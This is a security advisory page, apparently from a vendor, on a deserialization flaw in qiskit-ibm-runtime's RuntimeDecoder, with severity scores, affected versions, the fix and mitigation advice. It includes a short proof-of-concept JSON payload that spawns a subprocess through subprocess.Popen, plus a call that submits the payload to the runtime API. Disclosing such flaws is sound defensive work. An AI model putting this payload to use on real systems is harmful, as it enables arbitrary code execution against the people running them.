GHSA-x4x5-jv3x-9c7m is a medium-severity (CVSS 5.3) Deserialization of Untrusted Data vulnerability in qiskit-ibm-runtime. A fix is available for qiskit-ibm-runtime — see the affected versions and patch details below.
`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-x4x5-jv3x-9c7m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-x4x5-jv3x-9c7m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
qiskit-ibm-runtimeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string
Details
RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159
PoC
malicious_data = {
"__type__": "settings",
"__module__": "subprocess",
"__class__": "Popen",
"__value__": {
"args": ["echo", "hi"]
},
}
json_str = json.dumps(malicious_data)
_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder) # prints "hi" to the terminal
(where obviously "echo hi" can be replaced with something much more malicious)
notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)
service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status()) # prints "JobStatus.QUEUED"
Impact
i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | qiskit-ibm-runtime | ≥ 0.1.0&&< 0.21.2 | 0.21.2pip install --upgrade 'qiskit-ibm-runtime==0.21.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for qiskit-ibm-runtime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update qiskit-ibm-runtime to 0.21.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x4x5-jv3x-9c7m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x4x5-jv3x-9c7m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-x4x5-jv3x-9c7m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x4x5-jv3x-9c7m in your dependencies?
O3 Security finds GHSA-x4x5-jv3x-9c7m across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.